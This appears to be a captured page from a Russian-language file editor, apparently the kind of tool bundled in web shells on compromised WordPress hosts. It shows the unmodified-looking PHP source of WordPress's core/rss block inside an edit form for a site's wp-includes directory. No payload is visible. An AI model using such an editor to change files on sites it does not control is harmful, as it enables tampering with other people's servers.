<h2>Редактирование файла: rss.php</h2><p><strong>Путь:</strong> /home/atomylvb/jarangomd.com/wp-includes/blocks/rss.php</p><form method="post"><textarea name="content" rows="20" cols="100">&lt;?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @since 5.2.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss( $attributes ) {
	if ( in_array( untrailingslashit( $attributes[&#039;feedURL&#039;] ), array( site_url(), home_url() ), true ) ) {
		return &#039;&lt;div class=&quot;components-placeholder&quot;&gt;&lt;div class=&quot;notice notice-error&quot;&gt;&#039; . __( &#039;Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the &lt;strong&gt;Latest Posts&lt;/strong&gt; block, to list posts from the site.&#039; ) . &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
	}

	$rss = fetch_feed( $attributes[&#039;feedURL&#039;] );

	if ( is_wp_error( $rss ) ) {
		return &#039;&lt;div class=&quot;components-placeholder&quot;&gt;&lt;div class=&quot;notice notice-error&quot;&gt;&lt;strong&gt;&#039; . __( &#039;RSS Error:&#039; ) . &#039;&lt;/strong&gt; &#039; . esc_html( $rss-&gt;get_error_message() ) . &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
	}

	if ( ! $rss-&gt;get_item_quantity() ) {
		return &#039;&lt;div class=&quot;components-placeholder&quot;&gt;&lt;div class=&quot;notice notice-error&quot;&gt;&#039; . __( &#039;An error has occurred, which probably means the feed is down. Try again later.&#039; ) . &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
	}

	$rss_items  = $rss-&gt;get_items( 0, $attributes[&#039;itemsToShow&#039;] );
	$list_items = &#039;&#039;;

	$open_in_new_tab = ! empty( $attributes[&#039;openInNewTab&#039;] );
	$rel             = ! empty( $attributes[&#039;rel&#039;] ) ? trim( $attributes[&#039;rel&#039;] ) : &#039;&#039;;

	$link_attributes = &#039;&#039;;

	if ( $open_in_new_tab ) {
		$link_attributes .= &#039; target=&quot;_blank&quot;&#039;;
	}

	if ( &#039;&#039; !== $rel ) {
		$link_attributes .= &#039; rel=&quot;&#039; . esc_attr( $rel ) . &#039;&quot;&#039;;
	}

	foreach ( $rss_items as $item ) {
		$title = esc_html( trim( strip_tags( html_entity_decode( $item-&gt;get_title() ) ) ) );

		if ( empty( $title ) ) {
			$title = __( &#039;(no title)&#039; );
		}
		$link = $item-&gt;get_link();
		$link = esc_url( $link );

		if ( $link ) {
			$title = &quot;&lt;a href=&#039;{$link}&#039;{$link_attributes}&gt;{$title}&lt;/a&gt;&quot;;
		}
		$title = &quot;&lt;div class=&#039;wp-block-rss__item-title&#039;&gt;{$title}&lt;/div&gt;&quot;;

		$date_markup = &#039;&#039;;
		if ( ! empty( $attributes[&#039;displayDate&#039;] ) ) {
			$timestamp = $item-&gt;get_date( &#039;U&#039; );

			if ( $timestamp ) {
				$gmt_offset = get_option( &#039;gmt_offset&#039; );
				$timestamp += (int) ( (float) $gmt_offset * HOUR_IN_SECONDS );

				$date_markup = sprintf(
					&#039;&lt;time datetime=&quot;%1$s&quot; class=&quot;wp-block-rss__item-publish-date&quot;&gt;%2$s&lt;/time&gt; &#039;,
					esc_attr( date_i18n( &#039;c&#039;, $timestamp ) ),
					esc_html( date_i18n( get_option( &#039;date_format&#039; ), $timestamp ) )
				);
			}
		}

		$author = &#039;&#039;;
		if ( $attributes[&#039;displayAuthor&#039;] ) {
			$author = $item-&gt;get_author();
			if ( is_object( $author ) ) {
				$author = $author-&gt;get_name();
				if ( ! empty( $author ) ) {
					$author = &#039;&lt;span class=&quot;wp-block-rss__item-author&quot;&gt;&#039; . sprintf(
						/* translators: byline. %s: author. */
						__( &#039;by %s&#039; ),
						esc_html( strip_tags( $author ) )
					) . &#039;&lt;/span&gt;&#039;;
				}
			}
		}

		$excerpt     = &#039;&#039;;
		$description = $item-&gt;get_description();
		if ( $attributes[&#039;displayExcerpt&#039;] &amp;&amp; ! empty( $description ) ) {
			$excerpt = html_entity_decode( $description, ENT_QUOTES, get_option( &#039;blog_charset&#039; ) );
			$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes[&#039;excerptLength&#039;], &#039; [&amp;hellip;]&#039; ) );

			// Change existing [...] to [&amp;hellip;].
			if ( &#039;[...]&#039; === substr( $excerpt, -5 ) ) {
				$excerpt = substr( $excerpt, 0, -5 ) . &#039;[&amp;hellip;]&#039;;
			}

			$excerpt = &#039;&lt;div class=&quot;wp-block-rss__item-excerpt&quot;&gt;&#039; . esc_html( $excerpt ) . &#039;&lt;/div&gt;&#039;;
		}

		$list_items .= &quot;&lt;li class=&#039;wp-block-rss__item&#039;&gt;{$title}{$date_markup}{$author}{$excerpt}&lt;/li&gt;&quot;;
	}

	$classnames = array();
	if ( isset( $attributes[&#039;blockLayout&#039;] ) &amp;&amp; &#039;grid&#039; === $attributes[&#039;blockLayout&#039;] ) {
		$classnames[] = &#039;is-grid&#039;;
	}
	if ( isset( $attributes[&#039;columns&#039;] ) &amp;&amp; &#039;grid&#039; === $attributes[&#039;blockLayout&#039;] ) {
		$classnames[] = &#039;columns-&#039; . $attributes[&#039;columns&#039;];
	}
	if ( $attributes[&#039;displayDate&#039;] ) {
		$classnames[] = &#039;has-dates&#039;;
	}
	if ( $attributes[&#039;displayAuthor&#039;] ) {
		$classnames[] = &#039;has-authors&#039;;
	}
	if ( $attributes[&#039;displayExcerpt&#039;] ) {
		$classnames[] = &#039;has-excerpts&#039;;
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( &#039;class&#039; =&gt; implode( &#039; &#039;, $classnames ) ) );

	return sprintf( &#039;&lt;ul %s&gt;%s&lt;/ul&gt;&#039;, $wrapper_attributes, $list_items );
}

/**
 * Registers the `core/rss` block on server.
 *
 * @since 5.2.0
 */
function register_block_core_rss() {
	register_block_type_from_metadata(
		__DIR__ . &#039;/rss&#039;,
		array(
			&#039;render_callback&#039; =&gt; &#039;render_block_core_rss&#039;,
		)
	);
}
add_action( &#039;init&#039;, &#039;register_block_core_rss&#039; );
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